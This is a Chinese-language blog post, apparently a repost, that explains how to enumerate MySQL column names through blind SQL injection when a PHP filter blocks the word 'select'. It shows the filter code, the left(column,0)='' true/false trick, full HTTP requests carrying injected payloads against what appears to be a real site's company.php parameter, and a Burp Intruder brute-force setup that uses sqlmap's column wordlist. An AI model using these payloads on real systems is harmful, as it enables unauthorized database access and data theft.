ps:作者通过mysql中的left()函数来判断列猜测的是否正确,然后用burp跑。
过滤select的方法:
1 | foreach($_REQUEST as $key => $value){ |
3 | if (substr_count(strtolower($value), 'select' )>0){ |
正面至今未遇到哪位大神能突破我的这段防注入
基本都是绕开select搞盲注
过滤select对于注入来说非常棘手
freebuf发表了一篇文章提到”碎片攻击”
最后被证明是胡扯
接着我介绍下无select的情况下猜字段
至于说有了字段有什么用,我的回答是,有了字段继续能盲注字段的值
先说明原理:
1 | mysql> select id ,user, pwd from user where user= 'root' and left( pwd ,0)= '' ; |
12 | mysql> select id ,user, pwd from user where user= 'root' and left(pwdx,0)= '' ; |
13 | 1054 - Unknown column 'pwdx' in 'where clause' |
当字段存在时left()返回True,否则返回False
利用该特性:
1 | GET /qyml/company.php?user=gaoxy731024 '+and+left(pass_pwd,0)=' '+and+' xx '=' xx HTTP/1.1 |
3 | Proxy-Connection: keep-alive |
4 | Cache-Control: max-age=0 |
5 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 |
6 | User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 |
7 | Accept-Encoding: gzip ,deflate,sdch |
8 | Accept-Language: zh-CN,zh;q=0.8 |
11 | Date: Thu, 02 Jan 2014 21:30:51 GMT |
12 | Server: Apache/2.2.15 (CentOS) |
13 | X-Powered-By: PHP/5.3.3 |
15 | Cache-Control: public, no-transform |
17 | Content-Type: text/html; charset=GB2312 |
1 | GET /qyml/company.php?user=gaoxy731024 '+and+left(user_name,0)=' '+and+' xx '=' xx HTTP/1.1 |
3 | Proxy-Connection: keep-alive |
4 | Cache-Control: max-age=0 |
5 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 |
6 | User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 |
7 | Accept-Encoding: gzip ,deflate,sdch |
8 | Accept-Language: zh-CN,zh;q=0.8 |
11 | Date: Thu, 02 Jan 2014 21:31:21 GMT |
12 | Server: Apache/2.2.15 (CentOS) |
13 | X-Powered-By: PHP/5.3.3 |
15 | Cache-Control: public, no-transform |
17 | Content-Type: text/html; charset=GB2312 |
根据长度显而易见能判读True or False
burpsuite::intruder
1 | GET /qyml/company.php?user=gaoxy731024 '+and+left(§pass_word§,0)=' '+and+' xx '=' xx HTTP/1.1 |
3 | Proxy-Connection: keep-alive |
4 | Cache-Control: max-age=0 |
5 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 |
6 | User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 |
7 | Accept-Encoding: gzip ,deflate,sdch |
8 | Accept-Language: zh-CN,zh;q=0.8 |
选择好选择好paylaod位置后
加载payload:字段名字典(sqlmap->/txt/common-columns.txt)
然后根据response长度判断是否成功
字典不给力的情况下
选择brute forcer吧~
last:有人在过滤select的情况下跑出了表名,求教技术细节.
转载请注明:jinglingshu的博客 » mysql过滤过滤select情况下跑字段的方法